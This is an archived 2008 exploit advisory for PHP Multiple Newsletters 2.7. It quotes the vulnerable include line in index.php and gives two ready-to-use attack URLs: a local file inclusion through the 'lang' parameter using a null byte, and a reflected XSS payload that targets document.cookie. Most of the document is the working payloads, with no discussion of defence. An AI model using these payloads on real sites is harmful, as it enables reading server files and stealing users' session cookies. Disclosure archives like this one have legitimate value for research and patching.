[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : PHP Multiple Newsletters 2.7 (LFI/XSS) Multiple Vulnerabilities
# Published : 2008-12-09
# Author : ahmadbady
# Previous Title : PHPmyGallery 1.5beta (common-tpl-vars.php) LFI/RFI Vulnerabilities
# Next Title : MG2 0.5.1 (filename) Remote Code Execution Vulnerability
****(Lfi/xss)****
script: PHP_Multiple_Newsletters v2.7
***************************************************************************
download from:http://www.phpmultiplenewsletters.com/modules/phpmultiplenewsletters.com/dist/free/PHP_Multiple_Newsletters_v2.7.zip
***************************************************************************
vul:/index.php
line 36:
include ('language/'..$_REQUEST['lang'].'.php');
***************************************************
xpl:
www.site.com/path/index.php?lang=[Lfi]%00
xss:
www.site.com/path/index.php/>"><ScRiPt>alert(document.cookie)</ScRiPt>
...................................................
Author: ahmadbady from:iran
my mail: kivi_hacker666@yahoo.com
***************************************************
# www.Syue.com [2008-12-09]